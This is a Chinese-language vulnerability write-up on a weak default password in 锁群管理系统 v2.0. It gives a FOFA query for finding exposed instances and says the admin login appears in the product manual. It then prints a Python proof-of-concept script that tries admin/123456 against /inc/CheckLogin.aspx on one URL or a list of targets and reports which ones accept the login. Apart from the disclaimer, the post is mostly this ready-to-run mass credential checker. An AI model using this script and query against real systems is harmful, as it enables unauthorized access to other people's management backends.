0%

锁群管理系统v2.0存在弱口令漏洞

漏洞描述


声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

锁群管理系统v2.0存在弱口令漏洞。


影响版本


锁群管理系统v2.0


FOFA语句

1
title="锁群管理系统v2.0"

环境搭建

漏洞复现

万能的度娘上查询到锁群管理系统操作手册里面有账号和密码;

image-20211101201939208

后台界面如下;

image-20211101202459009

在后台登陆界面使用操作手册里面的账号和密码成功的登录后台;

image-20211101202427411

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
# encoding: utf-8
import requests
import sys
import argparse
from requests.packages.urllib3.exceptions import InsecureRequestWarning #消除警告
requests.packages.urllib3.disable_warnings(InsecureRequestWarning) # 消除警告

def longer():
print('python xxx.py -u/--url http://xxx.xxx.xxx.xxx')
print('python xxx.py -f/--file x.txt')
print('FOFA:title="锁群管理系统v2.0"')
print('longer')

if len(sys.argv)==1:
longer()
sys.exit()
p = argparse.ArgumentParser(description='longer')
p.add_argument('-u','--url',help='输入url',default='')
p.add_argument('-f','--file',help='输入文件',default='')
a = p.parse_args()

url = a.url

file = a.file

headers= {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36',
'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
'Cookie':'ASP.NET_SessionId=pjb41rehvxilis32hfgus0r5'
}
if url != '':
furl = url
try:
url =furl+'/inc/CheckLogin.aspx?checkLogin=login&un=admin&pw=123456'
r= requests.get(url=url,headers=headers,timeout=10,verify=False)
if r.status_code == 200 and '0' in r.text:
print(furl+'存在弱口令')
else:
print(furl+'不存在弱口令')
except Exception as e:
print(furl+'不存在弱口令')

if file !='':
text =file
f = open(text,'r+')
for i in f.readlines():
url = i.strip()
if url.startswith('http:') != 1 and url.startswith('https:') != 1:
url = 'http://' + url
url1 = url
url2=url
try:
url1 = url+'/inc/CheckLogin.aspx?checkLogin=login&un=admin&pw=123456'
r =requests.post(url=url1,headers=headers,timeout = 10,verify=False)
if r.status_code==200 and '0' in r.text:
print(url2+'存在弱口令')
else:
print(url2+'不存在弱口令')
except Exception as e:
print(url2+'不存在弱口令')

欢迎关注我的其它发布渠道